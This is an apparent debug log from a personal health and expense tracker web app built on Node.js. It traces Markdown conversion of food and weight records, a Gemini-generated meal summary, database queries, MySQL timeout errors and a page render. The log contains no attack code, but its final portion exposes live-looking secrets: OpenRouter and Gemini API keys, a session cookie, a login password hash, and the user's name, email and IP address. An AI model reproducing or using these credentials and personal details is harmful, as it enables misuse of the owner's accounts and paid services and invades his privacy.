    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' }
  ]
}
2025-12-20T05:41:54.679Z server-connect:app Executing action step run
2025-12-20T05:41:54.679Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T05:41:54.680Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '\n'
2025-12-20T05:41:54.680Z server-connect:app Executing action step run
2025-12-20T05:41:54.680Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T05:41:54.681Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T05:41:54.681Z server-connect:app Executing action step setvalue
2025-12-20T05:41:54.681Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-20T05:41:54.681Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T05:41:54.681Z server-connect:app Executing action step processWithGemini
2025-12-20T05:41:54.681Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-20T05:41:56.129Z server-connect:output health_summary: {
  summary: "The day's intake appears to be quite limited, with a focus on protein from paneer and whey. While protein is present, the overall food variety and volume seem insufficient for optimal recovery and muscle development, especially given the consistent gym routine. The recent weight trend shows a gradual decrease, suggesting the current approach is leading to some fat loss.",
  rating: 4,
  good_points: [
    'Inclusion of whey protein post-workout supports muscle recovery.',
    'Paneer provides a good source of protein and fats.'
  ],
  bad_points: [
    'Very limited food variety, lacking essential micronutrients and fiber.',
    'Overall food volume seems low, potentially impacting energy levels and muscle building.',
    'Absence of complex carbohydrates and vegetables for sustained energy and recovery.'
  ],
  suggestions: [
    'Incorporate a balanced meal with complex carbohydrates (like rice or roti) and a generous portion of vegetables.',
    'Add more protein sources throughout the day to support muscle development.',
    'Ensure adequate hydration by drinking plenty of water.',
    'Consider adding fruits for vitamins and fiber.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 69.7
}
2025-12-20T05:41:56.130Z server-connect:app Executing action step condition
2025-12-20T05:41:56.130Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-20T05:41:56.130Z server-connect:app Executing action step delete
2025-12-20T05:41:56.130Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-20T05:41:56.131Z server-connect:output delete: { affected: 1 }
2025-12-20T05:41:56.131Z server-connect:app Executing action step insert
2025-12-20T05:41:56.131Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-20T05:41:56.131Z server-connect:output insert: { affected: 1, identity: 45 }
2025-12-20T05:41:56.131Z server-connect:output condition: undefined
2025-12-20T05:41:56.345Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T05:41:56.345Z server-connect:app Executing action step identify
2025-12-20T05:41:56.345Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:56.345Z server-connect:output identity: 1
2025-12-20T05:41:56.345Z server-connect:app Executing action step restrict
2025-12-20T05:41:56.345Z server-connect:app options: { provider: 'security' }
2025-12-20T05:41:56.345Z server-connect:output restrict: undefined
2025-12-20T05:41:56.345Z server-connect:app Executing action step single
2025-12-20T05:41:56.345Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T05:41:56.346Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "The day's intake appears to be quite limited, with a focus on protein from paneer and whey. While protein is present, the overall food variety and volume seem insufficient for optimal recovery and muscle development, especially given the consistent gym routine. The recent weight trend shows a gradual decrease, suggesting the current approach is leading to some fat loss.",
    bad_points: [
      'Very limited food variety, lacking essential micronutrients and fiber.',
      'Overall food volume seems low, potentially impacting energy levels and muscle building.',
      'Absence of complex carbohydrates and vegetables for sustained energy and recovery.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout supports muscle recovery.',
      'Paneer provides a good source of protein and fats.'
    ],
    suggestions: [
      'Incorporate a balanced meal with complex carbohydrates (like rice or roti) and a generous portion of vegetables.',
      'Add more protein sources throughout the day to support muscle development.',
      'Ensure adequate hydration by drinking plenty of water.',
      'Consider adding fruits for vitamins and fiber.'
    ],
    predicted_weight: 69.7,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T05:42:07.468Z server-connect:app Executing action step identify
2025-12-20T05:42:07.468Z server-connect:app options: { provider: 'security' }
2025-12-20T05:42:07.469Z server-connect:output identity: 1
2025-12-20T05:53:43.365Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-20T05:53:43.368Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-20T05:53:43.370Z server-connect:app Executing action step identify
2025-12-20T05:53:43.370Z server-connect:app options: { provider: 'security' }
2025-12-20T05:53:43.370Z server-connect:output identity: 1
2025-12-20T05:53:43.370Z server-connect:app Executing action step restrict
2025-12-20T05:53:43.370Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:53:43.370Z server-connect:app Executing action step identify
2025-12-20T05:53:43.370Z server-connect:app options: { provider: 'security' }
2025-12-20T05:53:43.371Z server-connect:output identity: 1
2025-12-20T05:53:43.371Z server-connect:app Executing action step restrict
2025-12-20T05:53:43.371Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T05:53:43.372Z server-connect:output restrict: undefined
2025-12-20T05:53:43.372Z server-connect:app Executing action step select
2025-12-20T05:53:43.372Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-20T05:53:43.373Z server-connect:output restrict: undefined
2025-12-20T05:53:43.373Z server-connect:app Executing action step single
2025-12-20T05:53:43.373Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-20T05:53:43.378Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T05:53:43.378Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 06:07:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 06:07:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 06:10:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 06:10:17' as DATETIME)"
}
2025-12-20T06:14:38.645Z server-connect:router Serving templateView /
2025-12-20T06:14:38.645Z server-connect:app Executing action step identify
2025-12-20T06:14:38.645Z server-connect:app options: { provider: 'security' }
2025-12-20T06:14:38.688Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-20T06:14:38.690Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-20T06:14:38.734Z server-connect:output identity: 1
2025-12-20T06:14:38.734Z server-connect:app Executing action step restrict
2025-12-20T06:14:38.734Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T06:14:38.735Z server-connect:output restrict: undefined
2025-12-20T06:14:38.735Z server-connect:app Executing action step restrict
2025-12-20T06:14:38.735Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T06:14:38.735Z server-connect:output restrict: undefined
2025-12-20T06:14:38.735Z server-connect:router Render template layouts/main
2025-12-20T06:14:38.735Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
